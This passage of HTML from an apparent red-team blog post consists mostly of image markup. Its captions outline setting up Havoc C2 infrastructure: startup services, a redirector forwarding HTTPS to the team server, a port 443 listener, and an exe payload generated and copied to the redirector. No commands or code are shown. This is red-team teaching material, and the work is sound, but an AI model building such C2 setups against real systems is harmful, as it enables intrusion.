https://substackcdn.com/image/fetch/$s_!Pf_1!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1593afd7-8c06-4ab4-89a2-e8d8399fb6a4_1102x204.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">Havoc C2 team server service successfully launched on startup</figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!VXXV!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F350b8d63-d460-4219-aa4e-7fcc0d0e1cb1_1112x230.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!VXXV!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F350b8d63-d460-4219-aa4e-7fcc0d0e1cb1_1112x230.jpeg 424w, https://substackcdn.com/image/fetch/$s_!VXXV!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F350b8d63-d460-4219-aa4e-7fcc0d0e1cb1_1112x230.jpeg 848w, https://substackcdn.com/image/fetch/$s_!VXXV!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F350b8d63-d460-4219-aa4e-7fcc0d0e1cb1_1112x230.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!VXXV!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F350b8d63-d460-4219-aa4e-7fcc0d0e1cb1_1112x230.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!VXXV!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F350b8d63-d460-4219-aa4e-7fcc0d0e1cb1_1112x230.jpeg" width="1112" height="230" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/350b8d63-d460-4219-aa4e-7fcc0d0e1cb1_1112x230.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:230,&quot;width&quot;:1112,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:42496,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/163906817?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F350b8d63-d460-4219-aa4e-7fcc0d0e1cb1_1112x230.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!VXXV!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F350b8d63-d460-4219-aa4e-7fcc0d0e1cb1_1112x230.jpeg 424w, https://substackcdn.com/image/fetch/$s_!VXXV!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F350b8d63-d460-4219-aa4e-7fcc0d0e1cb1_1112x230.jpeg 848w, https://substackcdn.com/image/fetch/$s_!VXXV!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F350b8d63-d460-4219-aa4e-7fcc0d0e1cb1_1112x230.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!VXXV!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F350b8d63-d460-4219-aa4e-7fcc0d0e1cb1_1112x230.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">autossh service successfully launched on startup</figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!EPz8!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad0d5a16-2edc-4546-b5c7-de2513f8c5bf_596x301.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!EPz8!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad0d5a16-2edc-4546-b5c7-de2513f8c5bf_596x301.jpeg 424w, https://substackcdn.com/image/fetch/$s_!EPz8!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad0d5a16-2edc-4546-b5c7-de2513f8c5bf_596x301.jpeg 848w, https://substackcdn.com/image/fetch/$s_!EPz8!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad0d5a16-2edc-4546-b5c7-de2513f8c5bf_596x301.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!EPz8!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad0d5a16-2edc-4546-b5c7-de2513f8c5bf_596x301.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!EPz8!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad0d5a16-2edc-4546-b5c7-de2513f8c5bf_596x301.jpeg" width="596" height="301" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ad0d5a16-2edc-4546-b5c7-de2513f8c5bf_596x301.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:301,&quot;width&quot;:596,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:26417,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/163906817?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad0d5a16-2edc-4546-b5c7-de2513f8c5bf_596x301.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!EPz8!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad0d5a16-2edc-4546-b5c7-de2513f8c5bf_596x301.jpeg 424w, https://substackcdn.com/image/fetch/$s_!EPz8!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad0d5a16-2edc-4546-b5c7-de2513f8c5bf_596x301.jpeg 848w, https://substackcdn.com/image/fetch/$s_!EPz8!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad0d5a16-2edc-4546-b5c7-de2513f8c5bf_596x301.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!EPz8!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fad0d5a16-2edc-4546-b5c7-de2513f8c5bf_596x301.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">HTTPS request not getting proxied to Havoc C2 server as it is not listening on port 443</figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!o6tE!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2532051-cff5-4a1d-9c8e-ec68be5aca56_563x786.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!o6tE!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2532051-cff5-4a1d-9c8e-ec68be5aca56_563x786.jpeg 424w, https://substackcdn.com/image/fetch/$s_!o6tE!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2532051-cff5-4a1d-9c8e-ec68be5aca56_563x786.jpeg 848w, https://substackcdn.com/image/fetch/$s_!o6tE!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2532051-cff5-4a1d-9c8e-ec68be5aca56_563x786.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!o6tE!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2532051-cff5-4a1d-9c8e-ec68be5aca56_563x786.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!o6tE!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2532051-cff5-4a1d-9c8e-ec68be5aca56_563x786.jpeg" width="459" height="640.8063943161634" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f2532051-cff5-4a1d-9c8e-ec68be5aca56_563x786.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:786,&quot;width&quot;:563,&quot;resizeWidth&quot;:459,&quot;bytes&quot;:57406,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/163906817?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2532051-cff5-4a1d-9c8e-ec68be5aca56_563x786.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!o6tE!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2532051-cff5-4a1d-9c8e-ec68be5aca56_563x786.jpeg 424w, https://substackcdn.com/image/fetch/$s_!o6tE!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2532051-cff5-4a1d-9c8e-ec68be5aca56_563x786.jpeg 848w, https://substackcdn.com/image/fetch/$s_!o6tE!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2532051-cff5-4a1d-9c8e-ec68be5aca56_563x786.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!o6tE!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2532051-cff5-4a1d-9c8e-ec68be5aca56_563x786.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Setting up a listener on port 443</figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!PFN4!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f7efe40-0c52-4c22-9a2d-5cfd6994b9e0_1137x305.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!PFN4!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f7efe40-0c52-4c22-9a2d-5cfd6994b9e0_1137x305.jpeg 424w, https://substackcdn.com/image/fetch/$s_!PFN4!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f7efe40-0c52-4c22-9a2d-5cfd6994b9e0_1137x305.jpeg 848w, https://substackcdn.com/image/fetch/$s_!PFN4!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f7efe40-0c52-4c22-9a2d-5cfd6994b9e0_1137x305.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!PFN4!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f7efe40-0c52-4c22-9a2d-5cfd6994b9e0_1137x305.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!PFN4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f7efe40-0c52-4c22-9a2d-5cfd6994b9e0_1137x305.jpeg" width="659" height="176.77660510114336" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0f7efe40-0c52-4c22-9a2d-5cfd6994b9e0_1137x305.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:305,&quot;width&quot;:1137,&quot;resizeWidth&quot;:659,&quot;bytes&quot;:25600,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/163906817?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f7efe40-0c52-4c22-9a2d-5cfd6994b9e0_1137x305.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!PFN4!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f7efe40-0c52-4c22-9a2d-5cfd6994b9e0_1137x305.jpeg 424w, https://substackcdn.com/image/fetch/$s_!PFN4!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f7efe40-0c52-4c22-9a2d-5cfd6994b9e0_1137x305.jpeg 848w, https://substackcdn.com/image/fetch/$s_!PFN4!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f7efe40-0c52-4c22-9a2d-5cfd6994b9e0_1137x305.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!PFN4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0f7efe40-0c52-4c22-9a2d-5cfd6994b9e0_1137x305.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">HTTPS requests to redirector getting forwarded to Havoc C2 server after setting up a listener on port 443</figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!sQDb!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f3463e1-605d-47e1-b713-4ed90f191075_560x694.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!sQDb!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f3463e1-605d-47e1-b713-4ed90f191075_560x694.jpeg 424w, https://substackcdn.com/image/fetch/$s_!sQDb!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f3463e1-605d-47e1-b713-4ed90f191075_560x694.jpeg 848w, https://substackcdn.com/image/fetch/$s_!sQDb!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f3463e1-605d-47e1-b713-4ed90f191075_560x694.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!sQDb!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f3463e1-605d-47e1-b713-4ed90f191075_560x694.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!sQDb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f3463e1-605d-47e1-b713-4ed90f191075_560x694.jpeg" width="360" height="446.14285714285717" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7f3463e1-605d-47e1-b713-4ed90f191075_560x694.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:694,&quot;width&quot;:560,&quot;resizeWidth&quot;:360,&quot;bytes&quot;:60315,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/163906817?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f3463e1-605d-47e1-b713-4ed90f191075_560x694.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!sQDb!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f3463e1-605d-47e1-b713-4ed90f191075_560x694.jpeg 424w, https://substackcdn.com/image/fetch/$s_!sQDb!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f3463e1-605d-47e1-b713-4ed90f191075_560x694.jpeg 848w, https://substackcdn.com/image/fetch/$s_!sQDb!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f3463e1-605d-47e1-b713-4ed90f191075_560x694.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!sQDb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f3463e1-605d-47e1-b713-4ed90f191075_560x694.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Generating an exe payload via Havoc C2</figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ZKQ2!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbc51b3c-febf-4f72-a835-4ea27f944266_822x246.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ZKQ2!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbc51b3c-febf-4f72-a835-4ea27f944266_822x246.jpeg 424w, https://substackcdn.com/image/fetch/$s_!ZKQ2!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbc51b3c-febf-4f72-a835-4ea27f944266_822x246.jpeg 848w, https://substackcdn.com/image/fetch/$s_!ZKQ2!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbc51b3c-febf-4f72-a835-4ea27f944266_822x246.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!ZKQ2!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbc51b3c-febf-4f72-a835-4ea27f944266_822x246.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ZKQ2!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbc51b3c-febf-4f72-a835-4ea27f944266_822x246.jpeg" width="590" height="176.56934306569343" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/fbc51b3c-febf-4f72-a835-4ea27f944266_822x246.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:246,&quot;width&quot;:822,&quot;resizeWidth&quot;:590,&quot;bytes&quot;:54534,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/163906817?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbc51b3c-febf-4f72-a835-4ea27f944266_822x246.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!ZKQ2!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbc51b3c-febf-4f72-a835-4ea27f944266_822x246.jpeg 424w, https://substackcdn.com/image/fetch/$s_!ZKQ2!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbc51b3c-febf-4f72-a835-4ea27f944266_822x246.jpeg 848w, https://substackcdn.com/image/fetch/$s_!ZKQ2!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbc51b3c-febf-4f72-a835-4ea27f944266_822x246.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!ZKQ2!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffbc51b3c-febf-4f72-a835-4ea27f944266_822x246.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">Copying the generated payload to the redirector machine via scp</figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!q-mm!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F13dd5ce4-10fd-432d-b0f8-9eb618010196_1785x678.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" 